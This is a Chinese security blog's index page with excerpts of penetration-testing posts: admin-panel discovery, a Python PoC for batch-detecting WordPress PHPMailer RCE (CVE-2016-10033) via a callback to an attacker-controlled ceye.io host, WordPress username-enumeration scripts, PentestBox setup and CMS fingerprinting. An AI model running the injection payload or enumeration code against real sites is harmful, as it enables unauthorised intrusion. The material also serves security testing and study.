寻找网站后台路径的N种姿势

作者: LandGrey ●   创建时间: 2017年7月27日 23:16 ●   标签:   #渗透测试,   #Web安全备忘录

下列方法无刻意排列顺序,仅为备忘记录。 一:间接接触0x01: search1. 直接搜索目标可能存在的相关后台路径 site:target.com intitle:"后台|登录|登陆|验证码|管理员|服务系统|系统登录|认证码|验证身份|管理系统|管理后台|管理平台|mgmt|sysadmin|admin|password|login|manage" 2. 尝试搜索一些文档型资料路径,判断是否包含后台路径 site:target.com filetype:"doc | docx | pdf | xls | xlsx | ppt | pptx" 3. 在目标链接较少的情况下,可以浏览网站所有路径,顺便观察组成特点,构造出后台路径 site:target.com二:直接接触0x02: view the site1. 查看robots.txt文件,查看是否存在网站后台路径 2. 使用传统路径爆破方式,猜测可能存在的后台路径 3. 识别网站是否是常见CMS或框架,使用对应的默认路径尝试 4. 直接浏览目标网站,注意网站界面的左手方和底部,查看是否有后台直达链接 5. 注意观察Cookies等HTTP头信息,寻找特殊Banner,搜索相关应用框架信息,确定后台路径 6. 寻找网站页面源码中的特殊Banner,去google搜索或Github等平台查找源码信息,确定后台路径 7. 尝试手工或自动fuzzing网站,致使其报错,查看是否有相关路径信息,进而猜测后台路径信息 8. 查看网站页面源码,注意链接路径(特别是上传的图片、文件等资源链接),验证是否包含后台路径 9. 利用网站的特殊文件(通常需要扫描),如整站源码压缩备份文件、phpinfo页面、默认探针文件、README、Lisense文件、部署文档等,收集可能的网站后台路径信息 10. 网站爬虫(通常使用爬虫工具,如AWVS、Netsparker、Burpsuite),爬取网站链接,分析提取后台路径信息0x03: open mind1. 端口扫描,判断后台是否部署在同一主机的其它端口 ...

更多 →

WordPress PHPMailer RCE 批量检测poc

作者: LandGrey ●   创建时间: 2017年7月2日 16:34 ●   标签:   #渗透测试,   #python,   #网络安全

0x00. 漏洞详情WordPress PHPMailer RCE 准确的说法应该是 CVE-2016-10033:WordPress PHPMailer 4.6 - Host Header Command Injection参考: WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033漏洞复现与poc编写:vulhub/wordpress/phpmailer-rce0x01. 批量检测需要解决的关键点:1. 获得一个存在的用户名参考: WordPress用户名枚举的几种方法2. 批量检测的方法利用漏洞在目标主机上执行命令,带独立标志(域名或IP)请求某个我们控制的主机,查看控制主机记录,确定存在漏洞的主机;利用批量漏洞检测框架,并发批量测试。测试情况如图:三. POC将下面poc中的地址http://yoururl.ceye.io替换为自己控制的。#!/usr/bin/env python# coding:utf-8import reimport randomimport requestsdef generate_command(command): command = '${run{%s}}' % command command = command.replace('/', '${substr{0}{1}{$spool_directory}}') command = command.replace(':', '${substr{13}{1}{$tod_log}}') command = command.replace(' ', '${substr{10}{1}{$tod_log}}') return 'target(any -froot@localhost -be %s null)' % ...

更多 →

WordPress用户名枚举的几种方法

作者: LandGrey ●   创建时间: 2017年6月29日 13:27 ●   标签:   #渗透测试

一. WordPress 用户名枚举漏洞CVE-2017-5487 WordPress < 4.7.1 - Username EnumerationWordPress 版本小于 4.7.1,配置了 REST API,访问下面的路径,就会返回包含用户名信息的json数据。获得的用户名是最全的,速度也最快,但是实测发现不少站点都不适用,批量效果不必太期待。/wp-json/wp/v2/users/demo :#!/usr/bin/env python# coding:utf-8 import requestsdef poc(target): username = [] try: req = requests.get('%s/wp-json/wp/v2/users/' % target) content = req.json() for v in content: username.append(str(v['link']).split('/')[-1]) except: pass return username 二. WordPress 文章存档枚举用户名访问下面的路径,如果存在对应用户id,则显示的页面中会包含用户。现在大部分工具在枚举用户名时采用此方法,比较稳定,遍历id足够多,可获得较全的用户名,但有一部分站点故意屏蔽了此方法枚举用户名。/?author=id因为版本和语言等差异,没有统一的正则匹配方法,所以demo中的正则表达式不是适用于所有情况的。demo:#!/usr/bin/env python# coding:utf-8import reimport requestsdef poc(target): username = ...

更多 →

打造自己专属的PentestBox

作者: LandGrey ●   创建时间: 2017年6月7日 11:25 ●   标签:   #渗透测试

ws 0x00: 准备一. 预备知识请先大致浏览下以下内容: 官网 Windows渗透利器之Pentest BOX使用详解(一) Windows渗透利器之Pentest BOX使用详解(二) 二. 原料1. PentestBox (官网下载) 2. U盘 (Kingston DTR30G2 32GB) 安装在U盘中,是为了最大化发挥PentestBox易携带的优点,即插即用,去依赖化; 推荐购买32G大小,支持USB 3.0的优质U盘,因为读写比较频繁,质量差的U盘不能胜任; 另外选中 Kingston DTR30G2 32GB 的原因,主要是橡胶套,一定程度上防水、防尘、抗震,安全的特点。 3. 移动硬盘或备份U盘(可选) 主要是用作安全备份,定制中途错误恢复; 最低要求拷贝完整的一份PentestBox到主机硬盘中; 三. 定制思路由表及里: 定制图标和界面定制toolsmanager定制python环境定制默认工具定制自定义命令定制默认命令定制exploit-database其他 0x01: 定制过程注:可先跳至 0x02: 需要注意的坑 部分查看,防止踩坑。一. 定制图标和界面 在U盘根目录下创建目录 pentestbox,将下载的 PentestBox-with-Metasploit-v2.2.exe 直接解压至pentestbox 目录; 接着在U盘根目录下autorun.info 文件,ico.ico文件,hack.bat文件,各个文件内容如下: autorun.info (自动加载U盘图标) [autorun]open="" autoplay=trueICON="ico.ico" ...

更多 →

多维度指纹规则识别CMS

作者: LandGrey ●   创建时间: 2017年5月30日 17:13 ●   标签:   #渗透测试

0x00: 前言CMS(Content Management System)类型的识别是老生长谈的问题,这篇文章就当抛砖引玉了~识别CMS类型的主要方式: 1. 根据网页内容含有的特殊表征 2. 根据网站路径的确定静态资源 3. 根据网站的HTTP响应头 4. 根据网站目录结构的整体特征用的最多的,就是第一种和第二种探测方式;第三种通用性较差,不太常用;第四种几乎没见到过具体实现,因为不实用,耗时长,而且容易被waf屏蔽。0x01: 识别方式简介1. 根据网页内容含有的特殊表征网站主页内容含有的一些特殊字符串,如Powered by xxxcms; 引用css特殊的标志,如 Metinfo 主页常含有class="met-navfixed" 、class="met_clear" 等CSS引用标志; 主页内容含有的特殊的正则表达式,如 PHPcms 主页常有类似于正则 /index\.php\?m=content&c;=index&a;=lists&catid;= 的字符串; 2. 根据网站路径的确定静态资源robots.txt 中含有的cms名称等特殊字符串; favicon.ico 图标的hash值; 某个特殊路径的图片、css文件、REAME文件、license文件、甚至文档等资源的hash值或特殊字符串;3. 根据网站的HTTP头某个路径的图片、css等文件存在的status code: 200 响应; ThinkPHP 常爆出带'哭脸'的"无法加载控制器"等错误响应; 另外,还可以通过网站HTTP headers、Cookies等字段含有的特殊值来判断,不过不常用,也没必要;4. 根据网站目录结构的整体特征需要爬取网站,基本不会单独实现此功能0x02: 程序构想单个目标,基于多维度规则,设定并判断权重,多线程运行, 网站响应内容复用,得分判断CMS类型。 为了方便加载和统一设置规则,选择使用正则表达式解析规则文本。一种CMS规则存取到一个文本文件中,例如一个检测discuz!7.x版本的规则如下: type: [discuz!7.x]help: []content: ['content="Discuz! 7\."', 'content="2001-2009 ...

更多 →
<